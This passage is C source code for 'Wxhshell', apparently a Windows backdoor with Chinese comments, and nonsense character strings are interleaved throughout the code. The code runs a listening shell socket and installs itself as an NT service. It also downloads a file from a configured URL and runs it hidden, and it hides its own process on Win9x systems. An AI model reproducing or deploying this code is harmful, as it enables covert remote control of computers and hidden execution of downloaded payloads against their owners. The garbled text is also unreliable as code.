&c} g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c]n"1YNm NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *`8JJs0g loC~wm%Ql if (!NtQueryInformationProcess) return 0; D^gS.X ^ [X91nUz# hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wh)F&@6 R! if(!hProcess) return 0; 0*_E'0L8e ,OERDWW|6 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |Sm/s;&c6 ]6F\a= J CloseHandle(hProcess); f>bL
}L A'.=SA2.Y hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H~^)^6)^T if(hProcess==NULL) return 0; '4SDAa2f l))Q/8H HMODULE hMod; \VA*3U^@ char procName[255]; D*j^f7ab unsigned long cbNeeded; #IJeq0TVB S@g(kIo] if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
tcO{CI -QwH| CloseHandle(hProcess); px*1 3" XDHi4i47`o if(strstr(procName,"services")) return 1; // 以服务启动 050,S`%<g8 tHAe return 0; // 注册表启动 L^r & .N\ } ;s;3cC! xW]65iav // 主模块 xK_oV+ int StartWxhshell(LPSTR lpCmdLine) ^,#my<{ { !JyY&D~` SOCKET wsl; ]jYFrOMy4S BOOL val=TRUE; tJ
2GSZ` int port=0; .`Q^8|$-K struct sockaddr_in door; tbWfm5$ {VKFw=$8 if(wscfg.ws_autoins) Install(); Ij$C@hH T@Y, 7ccpd port=atoi(lpCmdLine); yYaoA/0 G[`1Yw$ if(port<=0) port=wscfg.ws_port; o+B) @Ns[qn;9 WSADATA data; kY @(- if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z DU=2c4W9 loO"[8i.k if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; L SP p setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '&'m#H*: door.sin_family = AF_INET; 9}u,`& door.sin_addr.s_addr = inet_addr("127.0.0.1"); Xjkg7p,HD@ door.sin_port = htons(port); DY9]$h*y IvT><8<G if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +[<YE closesocket(wsl); AYgXqmH~+ return 1; fCwE1r*^ } DU0/if9.
B6Eu."T if(listen(wsl,2) == INVALID_SOCKET) { 993f6 closesocket(wsl); :aK?Dt Z return 1; :8!RGtn } 5nUJ9sqA Wxhshell(wsl); Ml7
(<J WSACleanup(); ;8eKAh __2<v?\ return 0; P RWb6 Qr9;CVW } ?oFd%|I 6,aH[>W // 以NT服务方式启动 *<\K-NSL VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Xv|=RNz { @phVfP"M DWORD status = 0; 5,pNqXRp DWORD specificError = 0xfffffff; l6y}>] nuXL{tg6 serviceStatus.dwServiceType = SERVICE_WIN32; =o~GLbsER serviceStatus.dwCurrentState = SERVICE_START_PENDING; sl `jovT[Y serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +a3E=GJ serviceStatus.dwWin32ExitCode = 0; >
[J. serviceStatus.dwServiceSpecificExitCode = 0; 8 {V9)U serviceStatus.dwCheckPoint = 0; w y|^=#k serviceStatus.dwWaitHint = 0; V`1,s~"q pL5cw= hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1^4:l!0D if (hServiceStatusHandle==0) return; )](ls@* I5_HaC>
status = GetLastError(); ?9kC[4G if (status!=NO_ERROR) BG+i tyH { $2Whb!7Z( serviceStatus.dwCurrentState = SERVICE_STOPPED; P"8Ix serviceStatus.dwCheckPoint = 0; \3$!) z serviceStatus.dwWaitHint = 0; u3C_Xz serviceStatus.dwWin32ExitCode = status; RqtBz3v serviceStatus.dwServiceSpecificExitCode = specificError; l! F$V;R SetServiceStatus(hServiceStatusHandle, &serviceStatus); U}RBgPX! return; &ASR2J } ujZ`T0 #cu{AdK serviceStatus.dwCurrentState = SERVICE_RUNNING; _cX}!d!j serviceStatus.dwCheckPoint = 0; @"-\e|[N serviceStatus.dwWaitHint = 0; \</!kY*3@t if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kFv*>>X` } Zd6ik&S
P[2!D)A // 处理NT服务事件,比如:启动、停止 yQiY:SH VOID WINAPI NTServiceHandler(DWORD fdwControl) -GAF> { c]PTU2BB8 switch(fdwControl) G}fBd { @kWL "yy, case SERVICE_CONTROL_STOP: +e-F`k serviceStatus.dwWin32ExitCode = 0; x#J9GP. serviceStatus.dwCurrentState = SERVICE_STOPPED; gSz<K.CT serviceStatus.dwCheckPoint = 0; x9"Cm;H% serviceStatus.dwWaitHint = 0; WVdV:vJ- { .|Huzk+ SetServiceStatus(hServiceStatusHandle, &serviceStatus); UqOBr2UmG } ;!MQ@Fi^ return; mb1mlsE case SERVICE_CONTROL_PAUSE: D%p*G5Bg3 serviceStatus.dwCurrentState = SERVICE_PAUSED; C9!t&<\} break;
bDkZU case SERVICE_CONTROL_CONTINUE: iT>u&0B- serviceStatus.dwCurrentState = SERVICE_RUNNING; R}ki%i5| break; x
b"z%.j case SERVICE_CONTROL_INTERROGATE: :\\NK/" break; :&IHdf0+ }; fQJ`&9m*BF SetServiceStatus(hServiceStatusHandle, &serviceStatus); H648 [H[k } s-$Wc)l
s;BMj^x // 标准应用程序主函数 >R+-mP!nj int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X
zJ#)}f { {^WK#$] >A$L&8'C // 获取操作系统版本 566!T_ OsIsNt=GetOsVer(); _MBhwNBxZ GetModuleFileName(NULL,ExeFile,MAX_PATH); y9r4]45 >}+{;d // 从命令行安装 fg^AEn1i if(strpbrk(lpCmdLine,"iI")) Install(); #ibwD:{ UK
':%LeL // 下载执行文件 ]n!V if(wscfg.ws_downexe) { Mu\V3`j if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T/_u;My; WinExec(wscfg.ws_filenam,SW_HIDE); =AIFu\9#a` } QK]P=pE'C i]v3CY|3AI if(!OsIsNt) { ye^x>a[' // 如果时win9x,隐藏进程并且设置为注册表启动 [';o -c"! HideProc(); srVWN:uuH StartWxhshell(lpCmdLine); sbW+vc } 2d D"^z{ else o,*m,Qc if(StartFromService()) uUI#^ A // 以服务方式启动 ;@wa\H[3v2 StartServiceCtrlDispatcher(DispatchTable); )A8#cY!< else b`jR("U // 普通方式启动 :_8K8Sa StartWxhshell(lpCmdLine); rNP;53FtZl ZcN0:xU return 0; C/k#gLF` }
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